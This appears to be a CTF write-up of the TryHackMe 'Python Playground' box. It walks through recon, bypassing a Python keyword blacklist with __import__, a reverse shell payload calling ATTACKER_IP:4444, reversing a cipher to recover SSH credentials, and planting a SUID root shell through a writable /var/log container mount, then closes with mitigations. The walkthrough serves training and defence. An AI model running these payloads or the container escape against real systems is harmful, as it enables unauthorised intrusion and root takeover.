Summary
Python Playground is a hard-rated TryHackMe box built around a "sandboxed" Python code execution service fronted by a Node.js/Express web app. The site advertises a blacklist-based filter that supposedly prevents arbitrary code execution, but the filter can be bypassed using Python's __import__() builtin to dynamically load os/subprocess without triggering the blacklisted keywords. This gives remote code execution as root on the box running the web service, and a custom two-pass Caesar-style cipher recovered from a leftover Python REPL transcript yields SSH credentials for a second user, connor. Only after landing both shells does it become clear the RCE shell is actually inside a Docker container rather than the host itself - a fact confirmed by checking for Docker tooling on that shell. From there, a log-mount misconfiguration (/var/log on the host is bind-mounted into the container at /mnt/log) is abused to plant a SUID root binary on the host filesystem, which connor can then execute for a full container-to-host privilege escalation.
Attack Chain
1. Recon
rustscan -a MACHINE_IP --ulimit 5000
Open MACHINE_IP:22
Open MACHINE_IP:80
nmap -sC -sV MACHINE_IP -p 22,80 -oN nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
| 256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_ 256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open http Node.js Express framework
|_http-title: Python Playground!
curl http://MACHINE_IP/
Secure Python Playground
...
Introducing the new era code sandbox; python playground!
Normally, code playgrounds that execute code serverside
are easy ways for hackers to access a system. Not anymore!
With our new, foolproof blacklist, no one can break into our
servers, and we can all enjoy the convenience of running our
python code on the cloud!
...
href="login.html">Login
href="signup.html">Sign up
login.html and signup.html both return a "site is admin-only right now" placeholder page.
2. Content discovery
gobuster dir -u http://MACHINE_IP/ -w /usr/share/wordlists/dirb/common.txt -x html
admin.html (Status: 200) [Size: 3134]
index.html (Status: 200) [Size: 941]
login.html (Status: 200) [Size: 549]
signup.html (Status: 200) [Size: 549]
admin.html (larger size) led to further probing that surfaced the actual code-execution endpoint (not part of the common wordlist), reached directly:
curl http://MACHINE_IP/super-secret-admin-testing-panel.html
Returns an unauthenticated form:
class="m-3">Python Playground! - By Connor
type="submit" class="form-control btn-primary mb-3" value="Go!">
3. Filter analysis
Basic execution works fine:
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=print(1+1)"
But anything referencing os/subprocess/import directly is blocked:
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import os print(os.popen('id').read())"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=__import__('os').system('id')"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import subprocess subprocess.run('ls')"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import subprocess subprocess.check_output('ls')"
All of these return:
4. Filter bypass
Calling __import__('subprocess') as an attribute chain, without the literal blacklisted call pattern, gets through:
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=__import__('subprocess').check_output('id')"
Confirming full command execution:
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=print(__import__('subprocess').check_output('/bin/sh -c id', shell=True))"
5. Reverse shell
A raw socket.connect() + subprocess.call(["/bin/sh","-i"], ...) payload built purely from __import__() calls (so no blacklisted keyword ever appears literally) was used to avoid the filter:
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode 'code=s = __import__("socket").socket()
s.connect(("ATTACKER_IP",4444))
f = s.fileno()
__import__("subprocess").call(["/bin/sh","-i"], -1, None, f, f, f)'
Caught with a listener (penelope in this case):
penelope listen -p 4444
[+] [New Reverse Shell] => playgroundweb MACHINE_IP Linux-x86_64 Session ID <1>
[+] Agent deployed via /usr/bin/python3
root@playgroundweb:~/app#
Landed directly as root inside the web app's container:
root@playgroundweb:~/app# whoami
root
root@playgroundweb:~/app# id
uid=0(root) gid=0(root) groups=0(root)
root@playgroundweb:~/app# ls
index.js node_modules package-lock.json package.json scripts static
Container flag:
root@playgroundweb:~/app# cd /root
root@playgroundweb:~# cat flag1.txt
THM{REDACTED}
6. Recovering connor's credentials (cipher reversal)
A Python REPL transcript found while poking around revealed a custom double-pass letter-pair cipher and its ciphertext. Reversing it:
>>> def f_inv(s):
... out = []
... for i in range(0, len(s), 2):
... a = ord(s[i]) - 97
... b = ord(s[i+1]) - 97
... out.append(chr(a*26 + b))
... return ''.join(out)
...
... target = 'dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu'
... step1 = f_inv(target) # undo the outer f
... password = f_inv(step1) # undo the inner f
... print(password)
...
spaghetti1245
7. SSH access as connor
ssh connor@MACHINE_IP
connor@MACHINE_IP's password: spaghetti1245
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)
Last login: Sat May 16 06:01:55 2020 from 10.0.2.2
connor@pythonplayground:~$ whoami
connor
connor@pythonplayground:~$ id
uid=1000(connor) gid=1000(connor) groups=1000(connor)
Flag from connor's home directory:
connor@pythonplayground:~$ cat flag2.txt
THM{REDACTED}
Initial enumeration as connor came up empty:
connor@pythonplayground:~$ sudo -l
Sorry, user connor may not run sudo on pythonplayground.
connor@pythonplayground:~$ find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
...
/bin/su
8. Realizing the RCE landed inside a Docker container
Going back to the earlier super-secret-admin-testing-panel.html shell, a check for Docker tooling on that box came back empty, which - combined with the container-style hostname (playgroundweb) and minimal filesystem seen earlier - confirmed the RCE shell was inside a Docker container, separate from the host connor was SSH'd into:
root@playgroundweb:~# which docker
root@playgroundweb:~#
With that confirmed, the next step was researching Docker container escape / privilege escalation techniques rather than a normal Linux privesc path.
9. Container escape prep - abusing a shared log mount
root@playgroundweb:~# cat /proc/self/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
root@playgroundweb:~# mount | grep -v "proc\|sys\|tmpfs\|overlay\|devpts\|mqueue\|shm"
/dev/nvme1n1p2 on /mnt/log type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/resolv.conf type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/hostname type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/hosts type ext4 (rw,relatime,data=ordered)
root@playgroundweb:~# findmnt /mnt/log
TARGET SOURCE FSTYPE OPTIONS
/mnt/log /dev/nvme1n1p2[/var/log] ext4 rw,relatime,data=ordered
/mnt/log inside the container is the host's /var/log, mounted read-write. Since this is a real partition mount (not just an empty overlay dir), anything written here lands directly on the host filesystem - confirmed from the host side too:
connor@pythonplayground:~$ find / -type d -name log 2>/dev/null
/var/log
connor@pythonplayground:~$ ls -la /var/log
total 3900
drwxrwxr-x 9 root syslog 4096 May 11 2020 .
...
10. Planting a SUID root binary on the host
root@playgroundweb:~/app# which gcc
/usr/bin/gcc
root@playgroundweb:~/app# cat << 'EOF' > /tmp/privesc.c
#include
#include
#include
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
EOF
root@playgroundweb:~/app# gcc -static -o /mnt/log/privesc /tmp/privesc.c
root@playgroundweb:~/app# chmod 4755 /mnt/log/privesc
root@playgroundweb:~/app# ls -la /mnt/log/privesc
-rwsr-xr-x 1 root root 877640 Sep 22 08:32 /mnt/log/privesc
11. Privilege escalation via the planted SUID binary
The binary written to /mnt/log/privesc inside the container appears on the host at the corresponding /var/log path:
connor@pythonplayground:~$ ls -la /var/log/privesc
-rwsr-xr-x 1 root root 877640 Sep 22 08:32 /var/log/privesc
connor@pythonplayground:~$ /var/log/privesc -p
root@pythonplayground:~# whoami
root
root@pythonplayground:~# id
uid=0(root) gid=0(root) groups=0(root),1000(connor)
Final flag:
root@pythonplayground:/root# cat flag3.txt
THM{REDACTED}
Key Vulnerabilities
-
Insecure Python "sandbox" (blacklist-based code execution filter) - The application attempts to block dangerous code by string/keyword matching rather than using a real sandboxing mechanism (e.g., restricted execution environment, seccomp, containerized subprocess with no filesystem/network access).
__import__()used as a callable bypasses any blacklist built around literalimportstatements or named function calls. -
Unrestricted server-side code execution as root - The playground process itself ran as
rootinside its container, turning a filter bypass directly into full container compromise instead of a constrained low-privilege execution context. -
Sensitive host path bind-mounted into a container with write access -
/var/logon the host was mounted into the application container at/mnt/logwith read/write permissions, allowing a compromised container process to write arbitrary files (including a SUID binary) directly onto the host filesystem. -
Weak "custom crypto" for credential storage - The
connorpassword was protected only by a simple, reversible double-pass substitution/letter-pair cipher rather than a proper password hash, making it trivial to invert once the transformation logic was discovered. -
Hidden but unauthenticated admin endpoint -
super-secret-admin-testing-panel.htmlwas reachable by anyone who found or guessed the path; there was no authentication gating access to the code-execution feature at all.
Mitigations
- Never implement sandboxing via keyword/string blacklists for a language as dynamically expressive as Python; use vetted sandboxing (e.g.,
nsjail, gVisor, WebAssembly-based interpreters, or a fully separate least-privileged execution service) or disallow arbitrary code execution features entirely. - Run code-execution services as an unprivileged, tightly scoped user inside the container, with a read-only root filesystem and no unnecessary capabilities.
- Avoid bind-mounting sensitive host directories (especially
/var/logor anything else outside a dedicated data directory) into containers, and never mount them writable unless strictly required; apply the principle of least privilege to all mount points. - Store credentials using a proper password hashing algorithm (bcrypt/argon2/scrypt) rather than any reversible or "security through obscurity" cipher.
- Require authentication before exposing any code-execution or administrative functionality, and avoid relying on "hidden" endpoint names as an access control mechanism.
Top comments (0)